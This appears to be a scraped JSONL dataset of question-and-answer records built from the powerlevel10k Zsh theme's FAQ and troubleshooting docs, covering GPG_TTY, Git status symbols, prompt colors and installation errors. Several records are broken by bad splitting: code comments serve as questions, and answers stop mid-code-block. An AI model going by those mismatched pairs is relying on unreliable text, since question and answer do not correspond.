{"id": "gh_3dd7e5093ace", "question": "How to: How do I export GPG_TTY when using instant prompt?", "question_body": "About romkatv/powerlevel10k", "answer": "You can export `GPG_TTY` like this anywhere in `~/.zshrc`:\n\n```zsh\nexport GPG_TTY=$TTY\n```\n\nThis works whether you are using [instant prompt](#instant-prompt) or not. It works even if you\naren't using powerlevel10k. As an extra bonus, it's much faster than the commonly used\n`export GPG_TTY=$(tty)`.\n\n*Related*: [How do I initialize direnv when using instant prompt?](\n  #how-do-i-initialize-direnv-when-using-instant-prompt)", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060841"}
{"id": "gh_7e06e93377e5", "question": "How to: What do different symbols in Git status mean?", "question_body": "About romkatv/powerlevel10k", "answer": "When using Lean, Classic or Rainbow style, Git status may look like this:\n\n```text\nfeature:master wip ⇣42⇡42 ⇠42⇢42 *42 merge ~42 +42 !42 ?42\n```\n\n| Symbol    | Meaning                                                              | Source                                                 |\n| --------- | -------------------------------------------------------------------- | ------------------------------------------------------ |\n| `feature` | current branch; replaced with `#tag` or `@commit` if not on a branch | `git status --ignore-submodules=dirty`                 |\n| `master`  | remote tracking branch; only shown if different from local branch    | `git rev-parse --abbrev-ref --symbolic-full-name @{upstream}` |\n| `wip`     | the latest commit's summary contains \"wip\" or \"WIP\"                  | `git show --pretty=%s --no-patch HEAD`                 |\n| `=`       | up to date with the remote (neither ahead nor behind)                | `git rev-list --count HEAD...@{upstream}`              |\n| `⇣42`     | this many commits behind the remote                                  | `git rev-list --right-only --count HEAD...@{upstream}` |\n| `⇡42`     | this many commits ahead of the remote                                | `git rev-list --left-only --count HEAD...@{upstream}`  |\n| `⇠42`     | this many commits behind the push remote                             | `git rev-list --right-only --count HEAD...@{push}`     |\n| `⇢42`     | this many commits ahead of the push remote                           | `git rev-list --left-only --count HEAD...@{push}`      |\n| `*42`     | this many stashes                                                    | `git stash list`                                       |\n| `merge`   | repository state                                                     | `git status --ignore-submodules=dirty`                 |\n| `~42`     | this many merge conflicts                                            | `git status --ignore-submodules=dirty`                 |\n| `+42`     | this many staged changes                                             | `git status --ignore-submodules=dirty`                 |\n| `!42`     | this many unstaged changes                                           | `git status --ignore-submodules=dirty`                 |\n| `?42`     | this many untracked files                                            | `git status --ignore-submodules=dirty`                 |\n| `─`       | the number of staged, unstaged or untracked files is unknown         | `echo $POWERLEVEL9K_VCS_MAX_INDEX_SIZE_DIRTY` or `git config --get bash.showDirtyState` |\n\n*Related*: [How do I change the format of Git status?](#how-do-i-change-the-format-of-git-status)", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060850"}
{"id": "gh_129fa87d27bb", "question": "How to: How do I change the format of Git status?", "question_body": "About romkatv/powerlevel10k", "answer": "To change the format of Git status, open `~/.p10k.zsh`, search for `my_git_formatter` and edit its\nsource code.\n\n*Related*: [What do different symbols in Git status mean?](\n  #what-do-different-symbols-in-git-status-mean)", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060855"}
{"id": "gh_69324c39ce11", "question": "How to: Why is Git status from `$HOME/.git` not displayed in prompt?", "question_body": "About romkatv/powerlevel10k", "answer": "When using Lean, Classic or Rainbow style, `~/.p10k.zsh` contains the following parameter:\n\n```zsh", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060859"}
{"id": "gh_eba80b067986", "question": "How to: Multiple patterns can be combined with '|': '~(|/foo)|/bar/baz/*'.", "question_body": "About romkatv/powerlevel10k", "answer": "typeset -g POWERLEVEL9K_VCS_DISABLED_WORKDIR_PATTERN='~'\n```\n\nTo see Git status for `$HOME/.git` in prompt, open `~/.p10k.zsh` and remove\n`POWERLEVEL9K_VCS_DISABLED_WORKDIR_PATTERN`.", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060864"}
{"id": "gh_db073d45d026", "question": "How to: Why does Git status sometimes appear grey and then gets colored after a short period of time?", "question_body": "About romkatv/powerlevel10k", "answer": "tl;dr: When Git status in prompt is greyed out, it means Powerlevel10k is currently computing\nup-to-date Git status in the background. Prompt will get automatically refreshed when this\ncomputation completes.\n\nWhen your current directory is within a Git repository, Powerlevel10k computes up-to-date Git\nstatus after every command. If the repository is large, or the machine is slow, this computation\ncan take quite a bit of time. If it takes longer than 10 milliseconds (configurable via\n`POWERLEVEL9K_VCS_MAX_SYNC_LATENCY_SECONDS`), Powerlevel10k displays the last known Git status in\ngrey and continues to compute up-to-date Git status in the background. When the computation\ncompletes, Powerlevel10k refreshes prompt with new information, this time with colored Git status.\n\nWhen using *Rainbow* style, Git status is displayed as black on grey while it's still being\ncomputed. Depending on the terminal color palette, this may be difficult to read. In this case you\nmight want to change the background color to something lighter for more contrast. To do that, open\n`~/.p10k.zsh`, search for `POWERLEVEL9K_VCS_LOADING_BACKGROUND`, uncomment it if it's commented out,\nand change the value.\n\n```zsh\ntypeset -g POWERLEVEL9K_VCS_LOADING_BACKGROUND=244\n```\n\nType `source ~/.p10k.zsh` to apply your changes to the current Zsh session.\n\n*Related*: [How do I change prompt colors?](#how-do-i-change-prompt-colors)", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060871"}
{"id": "gh_be3faf4d8c23", "question": "How to: How do I add username and/or hostname to prompt?", "question_body": "About romkatv/powerlevel10k", "answer": "When using Lean, Classic or Rainbow style, prompt shows `username@hostname` when you are logged in\nas root or via SSH. There is little value in showing `username` or `hostname` when you are logged in\nto your local machine as a normal user. So the absence of `username@hostname` in your prompt is an\nindication that you are working locally and that you aren't root. You can change it, however.\n\nOpen `~/.p10k.zsh`. Close to the top you can see the most important parameters that define which\nsegments are shown in your prompt. All generally useful prompt segments are listed in there. Some of\nthem are enabled, others are commented out. One of them is of interest to you.\n\n```zsh\ntypeset -g POWERLEVEL9K_RIGHT_PROMPT_ELEMENTS=(\n  ...\n  context  # user@hostname\n  ...\n)\n```\n\nSearch for `context` to find the section in the config that lists parameters specific to this prompt\nsegment. You should see the following lines:\n\n```zsh", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060877"}
{"id": "gh_2542eb9c155c", "question": "How to: Tip: Remove the next line to always show context.", "question_body": "About romkatv/powerlevel10k", "answer": "typeset -g POWERLEVEL9K_CONTEXT_{DEFAULT,SUDO}_{CONTENT,VISUAL_IDENTIFIER}_EXPANSION=\n```\n\nIf you follow the tip and remove (or comment out) the last line, you'll always see\n`username@hostname` in prompt. You can change the format to just `username`, or change the color, by\nadjusting the values of parameters nearby. There are plenty of comments to help you navigate.\n\nYou can also move `context` to a different position in `POWERLEVEL9K_RIGHT_PROMPT_ELEMENTS` or even\nto `POWERLEVEL9K_LEFT_PROMPT_ELEMENTS`.", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060882"}
{"id": "gh_2692a76f4e4a", "question": "How to: Why some prompt segments appear and disappear as I'm typing?", "question_body": "About romkatv/powerlevel10k", "answer": "Prompt segments can be configured to be shown only when the current command you are typing invokes\na relevant tool.\n\n```zsh", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060887"}
{"id": "gh_069727a590b4", "question": "How to: invokes kubectl, helm, or kubens.", "question_body": "About romkatv/powerlevel10k", "answer": "typeset -g POWERLEVEL9K_KUBECONTEXT_SHOW_ON_COMMAND='kubectl|helm|kubens'\n```\n\nConfigs created by `p10k configure` may contain parameters of this kind. To customize when different\nprompt segments are shown, open `~/.p10k.zsh`, search for `SHOW_ON_COMMAND` and either remove these\nparameters or change their values.\n\nYou can also define a function in `~/.zshrc` to toggle the display of a prompt segment between\n*always* and *on command*. This is similar to `kubeon`/`kubeoff` from\n[kube-ps1](https://github.com/jonmosco/kube-ps1).\n\n```zsh\nfunction kube-toggle() {\n  if (( ${+POWERLEVEL9K_KUBECONTEXT_SHOW_ON_COMMAND} )); then\n    unset POWERLEVEL9K_KUBECONTEXT_SHOW_ON_COMMAND\n  else\n    POWERLEVEL9K_KUBECONTEXT_SHOW_ON_COMMAND='kubectl|helm|kubens'\n  fi\n  p10k reload\n  if zle; then\n    zle push-input\n    zle accept-line\n  fi\n}\n```\n\nInvoke this function by typing `kube-toggle`. You can also bind it to a key by adding two more lines\nto `~/.zshrc`:\n\n```zsh\nzle -N kube-toggle\nbindkey '^]' kube-toggle  # ctrl-] to toggle kubecontext in powerlevel10k prompt\n```", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060894"}
{"id": "gh_ca343b433630", "question": "How to: How do I change prompt colors?", "question_body": "About romkatv/powerlevel10k", "answer": "You can either [change the color palette used by your terminal](\n  #change-the-color-palette-used-by-your-terminal) or\n[set colors through Powerlevel10k configuration parameters](\n  #set-colors-through-Powerlevel10k-configuration-parameters).\n\n#### Change the color palette used by your terminal\n\nHow exactly you change the terminal color palette (a.k.a. color scheme, or theme) depends on the\nkind of terminal you are using. Look around in terminal's settings/preferences or consult\ndocumentation.\n\nWhen you change the terminal color palette, it usually affects only the first 16 colors, numbered\nfrom 0 to 15. In order to see any effect on Powerlevel10k prompt, you need to use prompt style that\nutilizes these low-numbered colors. Type `p10k configure` and select *Rainbow*, *Lean* → *8 colors*\nor *Pure* → *Original*. Other styles use higher-numbered colors, so they look the same in any\nterminal color palette.\n\n#### Set colors through Powerlevel10k configuration parameters\n\nOpen `~/.p10k.zsh`, search for \"color\", \"foreground\" and \"background\" and change values of\nappropriate parameters. For example, here's how you can set the foreground of `time` prompt segment\nto bright red:\n\n```zsh\ntypeset -g POWERLEVEL9K_TIME_FOREGROUND=160\n```\n\nColors are specified using numbers from 0 to 255. Colors from 0 to 15 look differently in different\nterminals. Many terminals also support customization of these colors through color palettes\n(a.k.a. color schemes, or themes). Colors from 16 to 255 always look the same.\n\nType `source ~/.p10k.zsh` to apply your changes to the current Zsh session.\n\nTo see how different numbered colors look in your terminal, run the following command:\n\n```zsh\nfor i in {0..255}; do print -Pn \"%K{$i}  %k%F{$i}${(l:3::0:)i}%f \" ${${(M)$((i%6)):#3}:+$'\\n'}; done\n```\n\nIf your terminal supports truecolor, you can use 24-bit colors in the `#RRGGBB` format in addition\nto the numbered colors.\n\n```zsh\ntypeset -g POWERLEVEL9K_TIME_FOREGROUND='#FF0000'\n```\n\n*Related:*\n  - [Directory is difficult to see in prompt when using Rainbow style.](\n      #directory-is-difficult-to-see-in-prompt-when-using-rainbow-style)\n  - [Incorrect foreground color in VSCode Terminal.](#incorrect-foreground-color-in-vscode-terminal)\n\nBy default, VSCode Terminal may arbitrarily replace the foreground color of your choice with a\ndifferent color. This behavior can be\n[turned off](https://code.visualstudio.com/docs/terminal/appearance#_minimum-contrast-ratio) in\nVSCode settings.", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060906"}
{"id": "gh_39d30a697058", "question": "How to: Why does Powerlevel10k spawn extra processes?", "question_body": "About romkatv/powerlevel10k", "answer": "Powerlevel10k uses [gitstatus](https://github.com/romkatv/gitstatus) as the backend behind `vcs`\nprompt; gitstatus spawns `gitstatusd` and `zsh`. See\n[gitstatus](https://github.com/romkatv/gitstatus) for details. Powerlevel10k may also spawn `zsh`\nto perform computation without blocking prompt. To avoid security hazard, these background processes\naren't shared by different interactive shells. They terminate automatically when the parent `zsh`\nprocess terminates or runs `exec(3)`.", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060912"}
{"id": "gh_ae864600072d", "question": "How to: Are there configuration options that make Powerlevel10k slow?", "question_body": "About romkatv/powerlevel10k", "answer": "No, Powerlevel10k is always fast, with any configuration you throw at it. If you have noticeable\nprompt latency when using Powerlevel10k, please\n[open an issue](https://github.com/romkatv/powerlevel10k/issues).", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060916"}
{"id": "gh_636d56209643", "question": "How to: Is Powerlevel10k fast to load?", "question_body": "About romkatv/powerlevel10k", "answer": "Yes. See [zsh-bench](https://github.com/romkatv/zsh-bench).", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060920"}
{"id": "gh_2433b390a713", "question": "How to: What is the relationship between Powerlevel9k and Powerlevel10k?", "question_body": "About romkatv/powerlevel10k", "answer": "Powerlevel10k was forked from Powerlevel9k in March 2019 after a week-long discussion in\n[powerlevel9k#1170](https://github.com/Powerlevel9k/powerlevel9k/issues/1170). Powerlevel9k was\nalready a mature project with a large user base and a release cycle measured in months. Powerlevel10k\nwas spun off to iterate on performance improvements and new features at much higher pace.\n\nPowerlevel9k and Powerlevel10k are independent projects. When using one, you shouldn't install the\nother. Issues should be filed against the project that you actually use. There are no individuals\nthat have commit rights in both repositories. All bug fixes and new features committed to\nPowerlevel9k repository get ported to Powerlevel10k.\n\nOver time, virtually all code in Powerlevel10k has been rewritten. There is currently no meaningful\noverlap between the implementations of Powerlevel9k and Powerlevel10k.\n\nPowerlevel10k is committed to maintaining backward compatibility with all configs indefinitely. This\ncommitment covers all configuration parameters recognized by Powerlevel9k (see\n[Powerlevel9k compatibility](#powerlevel9k-compatibility)) and additional parameters that only\nPowerlevel10k understands. Names of all parameters in Powerlevel10k start with `POWERLEVEL9K_` for\nconsistency.", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060927"}
{"id": "gh_fa493199d0d9", "question": "How to: Does Powerlevel10k always render exactly the same prompt as Powerlevel9k given the same config?", "question_body": "About romkatv/powerlevel10k", "answer": "Almost. There are a few differences.\n\n- By default only `git` vcs backend is enabled in Powerlevel10k. If you need `svn` and `hg`, add\n  them to `POWERLEVEL9K_VCS_BACKENDS`. These backends aren't yet optimized in Powerlevel10k, so\n  enabling them will make prompt *very slow*.\n- Powerlevel10k doesn't support `POWERLEVEL9K_VCS_SHOW_SUBMODULE_DIRTY=true`.\n- Powerlevel10k strives to be bug-compatible with Powerlevel9k but not when it comes to egregious\n  bugs. If you accidentally rely on these bugs, your prompt will differ between Powerlevel9k and\n  Powerlevel10k. Some examples:\n  - Powerlevel9k ignores some options that are set after the theme is sourced while Powerlevel10k\n    respects all options. If you see different icons in Powerlevel9k and Powerlevel10k, you've\n    probably defined `POWERLEVEL9K_MODE` before sourcing the theme. This parameter gets ignored\n    by Powerlevel9k but honored by Powerlevel10k. If you want your prompt to look in Powerlevel10k\n    the same as in Powerlevel9k, remove `POWERLEVEL9K_MODE`.\n  - Powerlevel9k doesn't respect `ZLE_RPROMPT_INDENT`. As a result, right prompt in Powerlevel10k\n    can have an extra space at the end compared to Powerlevel9k. Set `ZLE_RPROMPT_INDENT=0` if you\n    don't want that space. More details in\n    [troubleshooting](#extra-space-without-background-on-the-right-side-of-right-prompt).\n  - Powerlevel9k has inconsistent spacing around icons. This was fixed in Powerlevel10k. Set\n    `POWERLEVEL9K_LEGACY_ICON_SPACING=true` to get the same spacing as in Powerlevel9k.  More\n    details in [troubleshooting](#extra-or-missing-spaces-around-icons).\n  - There are dozens more bugs in Powerlevel9k that don't exist in Powerlevel10k.\n\nIf you notice any other changes in prompt appearance when switching from Powerlevel9k to\nPowerlevel10k, please [open an issue](https://github.com/romkatv/powerlevel10k/issues).", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060935"}
{"id": "gh_e6134d75bead", "question": "How to: What is the best prompt style in the configuration wizard?", "question_body": "About romkatv/powerlevel10k", "answer": "There are as many opinions on what constitutes the best prompt as there are people. It mostly comes\ndown to personal preference. There are, however, a few hidden implications of different choices.\n\nPure style is an exact replication of [Pure Zsh theme](https://github.com/sindresorhus/pure). It\nexists to ease the migration for users of this theme. Unless you are one of them, choose Lean\nstyle over Pure.\n\nIf you want to confine prompt colors to the selected terminal color palette (say, *Solarized Dark*),\nuse *Rainbow*, *Lean* → *8 colors* or *Pure* → *Original*. Other styles use fixed colors and thus\nlook the same in any terminal color palette.\n\nAll styles except Pure have an option to use *ASCII* charset. Prompt will look less pretty but will\nrender correctly with all fonts and in all locales.\n\nIf you enable transient prompt, take advantage of two-line prompt. You'll get the benefit of\nextra space for typing commands without the usual drawback of reduced scrollback density. Having\nall commands start from the same offset is also nice.\n\nSimilarly, if you enable transient prompt, sparse prompt (with an empty line before prompt) is a\ngreat choice.\n\nIf you are using vi keymap, choose prompt with `prompt_char` in it (shown as green `❯` in the\nwizard). This symbol changes depending on vi mode: `❯`, `❮`, `V`, `▶` for insert, command, visual\nand replace mode respectively. When a command fails, the symbol turns red. *Lean* style always has\n`prompt_char` in it. *Rainbow* and *Classic* styles have it only in the two-line configuration\nwithout left frame.\n\nIf you value horizontal space or prefer minimalist aesthetics:\n\n- Use a monospace font, such as [the recommended font](#meslo-nerd-font-patched-for-powerlevel10k).\n  Non-monospace fonts require extra space after icons that are larger than a single column.\n- Use Lean style. Compared to Classic and Rainbow, it saves two characters per prompt segment.\n- Disable *current time* and *frame*.\n- Use *few icons*. The extra icons enabled by the *many icons* option primarily serve decorative\n  function. Informative icons, such as background job indicator, will be shown either way.\n\n*Note*: You can run configuration wizard as many times as you like. Type `p10k configure` to try new\nprompt style.", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060947"}
{"id": "gh_12d1bfaeed1b", "question": "How to: How to make Powerlevel10k look like robbyrussell Oh My Zsh theme?", "question_body": "About romkatv/powerlevel10k", "answer": "Use [this config](\n  https://github.com/romkatv/powerlevel10k/blob/master/config/p10k-robbyrussell.zsh).\n\nYou can either download it, save as `~/.p10k.zsh` and `source ~/.p10k.zsh` from `~/.zshrc`, or\nsource `p10k-robbyrussell.zsh` directly from your cloned `powerlevel10k` repository.", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060952"}
{"id": "gh_3c1ede3fcf55", "question": "How to: Can prompts for completed commands display error status for *those* commands instead of the commands preceding them?", "question_body": "About romkatv/powerlevel10k", "answer": "No. When you hit *ENTER* and the command you've typed starts running, its error status isn't yet\nknown, so it cannot be shown in prompt. When the command completes, the error status gets known but\nit's no longer possible to update prompt for *that* command. This is why the error status for every\ncommand is reflected in the *next* prompt.\n\nFor details, see [this post on /r/zsh](\nhttps://www.reddit.com/r/zsh/comments/eg49ff/powerlevel10k_prompt_history_exit_code_colors/fc5huku).", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060958"}
{"id": "gh_aa0388d9b79f", "question": "How to: What is the minimum supported Zsh version?", "question_body": "About romkatv/powerlevel10k", "answer": "Zsh 5.3 or newer should work. Fast startup requires Zsh >= 5.4.", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060962"}
{"id": "gh_72682161e1f4", "question": "How to: How were these screenshots and animated gifs created?", "question_body": "About romkatv/powerlevel10k", "answer": "All screenshots and animated gifs were recorded in GNOME Terminal with\n[the recommended font](#meslo-nerd-font-patched-for-powerlevel10k) and Tango Dark color palette with\ncustom background color (`#171A1B` instead of `#2E3436` -- twice as dark).\n\n![GNOME Terminal Color Settings](\n  https://raw.githubusercontent.com/romkatv/powerlevel10k-media/master/gnome-terminal-colors.png)\n\nSyntax highlighting, where present, was provided by [zsh-syntax-highlighting](\n  https://github.com/zsh-users/zsh-syntax-highlighting).", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060967"}
{"id": "gh_2e38e8b3999f", "question": "How to: How was the recommended font created?", "question_body": "About romkatv/powerlevel10k", "answer": "[The recommended font](#meslo-nerd-font-patched-for-powerlevel10k) is the product of many\nindividuals. Its origin is *Bitstream Vera Sans Mono*, which has given birth to *Menlo*, which in\nturn has spawned *Meslo*. Finally, extra glyphs have been added to *Meslo* with scripts forked\nfrom Nerd Fonts. The final font is released under the terms of\n[Apache License](\n  https://raw.githubusercontent.com/romkatv/powerlevel10k-media/master/MesloLGS%20NF%20License.txt).\n\nMesloLGS NF font can be recreated with the following command (requires `git` and `docker`):\n\n```zsh\ngit clone --depth=1 https://github.com/romkatv/nerd-fonts.git\ncd nerd-fonts\n./build 'Meslo/S/*'\n```\n\nIf everything goes well, four `ttf` files will appear in `./out`.", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060973"}
{"id": "gh_74e0dca41b88", "question": "How to: How to package Powerlevel10k for distribution?", "question_body": "About romkatv/powerlevel10k", "answer": "It's currently neither easy nor recommended to package and distribute Powerlevel10k. There are no\ninstructions you can follow that would allow you to easily update your package when new versions of\nPowerlevel10k are released. This may change in the future but not soon.", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060978"}
{"id": "gh_b6379b919d82", "question": "How to: Troubleshooting", "question_body": "About romkatv/powerlevel10k", "answer": "- [`[oh-my-zsh] theme 'powerlevel10k/powerlevel10k' not found`](#oh-my-zsh-theme-powerlevel10kpowerlevel10k-not-found)\n- [Question mark in prompt](#question-mark-in-prompt)\n- [Icons, glyphs or powerline symbols don't render](#icons-glyphs-or-powerline-symbols-dont-render)\n- [Sub-pixel imperfections around powerline symbols](#sub-pixel-imperfections-around-powerline-symbols)\n- [Error: character not in range](#error-character-not-in-range)\n- [Cursor is in the wrong place](#cursor-is-in-the-wrong-place)\n- [Prompt wrapping around in a weird way](#prompt-wrapping-around-in-a-weird-way)\n- [Right prompt is in the wrong place](#right-prompt-is-in-the-wrong-place)\n- [Configuration wizard runs automatically every time Zsh is started](#configuration-wizard-runs-automatically-every-time-zsh-is-started)\n- [Some prompt styles are missing from the configuration wizard](#some-prompt-styles-are-missing-from-the-configuration-wizard)\n- [Cannot install the recommended font](#cannot-install-the-recommended-font)\n- [Extra or missing spaces in prompt compared to Powerlevel9k](#extra-or-missing-spaces-in-prompt-compared-to-powerlevel9k)\n  - [Extra space without background on the right side of right prompt](#extra-space-without-background-on-the-right-side-of-right-prompt)\n  - [Extra or missing spaces around icons](#extra-or-missing-spaces-around-icons)\n- [Weird things happen after typing `source ~/.zshrc`](#weird-things-happen-after-typing-source-zshrc)\n- [Transient prompt stops working after some time](#transient-prompt-stops-working-after-some-time)\n- [Cannot make Powerlevel10k work with my plugin manager](#cannot-make-powerlevel10k-work-with-my-plugin-manager)\n- [Directory is difficult to see in prompt when using Rainbow style](#directory-is-difficult-to-see-in-prompt-when-using-rainbow-style)\n- [Incorrect foreground color in VSCode Terminal.](#incorrect-foreground-color-in-vscode-terminal)\n- [Horrific mess when resizing terminal window](#horrific-mess-when-resizing-terminal-window)\n- [Icons cut off in Konsole](#icons-cut-off-in-konsole)\n- [Arch Linux logo has a dot in the bottom right corner](#arch-linux-logo-has-a-dot-in-the-bottom-right-corner)\n- [Incorrect git status in prompt](#incorrect-git-status-in-prompt)", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060985"}
{"id": "gh_745fc9ab7719", "question": "How to: `[oh-my-zsh] theme 'powerlevel10k/powerlevel10k' not found`", "question_body": "About romkatv/powerlevel10k", "answer": "When opening a terminal, or starting zsh manually, you may encounter this error message:\n\n```text\n[oh-my-zsh] theme 'powerlevel10k/powerlevel10k' not found\n```\n\n1. First, run `typeset -p P9K_VERSION` to check whether Powerlevel10k has been loaded.\n   - If `typeset -p P9K_VERSION` succeeds and prints something like `typeset P9K_VERSION=1.19.14`\n     (the version could be different), remove the following line from `~/.zshrc`:\n     ```zsh\n     ZSH_THEME=\"powerlevel10k/powerlevel10k\"\n     ```\n   - If `typeset -p P9K_VERSION` fails with the error `typeset: no such variable: P9K_VERSION`, run\n     the following command:\n     ```zsh\n     git clone --depth=1 https://github.com/romkatv/powerlevel10k.git \"${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes/powerlevel10k\"\n     ```\n2. Restart Zsh with `exec zsh`.", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060991"}
{"id": "gh_959b48d30647", "question": "How to: Question mark in prompt", "question_body": "About romkatv/powerlevel10k", "answer": "If it looks like a regular `?`, that's normal. It means you have untracked files in the current Git\nrepository. Type `git status` to see these files. You can change this symbol or disable the display\nof untracked files altogether. Search for `untracked files` in `~/.p10k.zsh`.\n\n*FAQ*: [What do different symbols in Git status mean?](\n  #what-do-different-symbols-in-git-status-mean)\n\nYou can also get a weird-looking question mark in your prompt if your terminal's font is missing\nsome glyphs. See [icons, glyphs or powerline symbols don't render](\n  #icons-glyphs-or-powerline-symbols-dont-render).", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.060997"}
{"id": "gh_8d331fdc8be6", "question": "How to: Icons, glyphs or powerline symbols don't render", "question_body": "About romkatv/powerlevel10k", "answer": "Restart your terminal, [install the recommended font](#meslo-nerd-font-patched-for-powerlevel10k)\nand run `p10k configure`.", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.061002"}
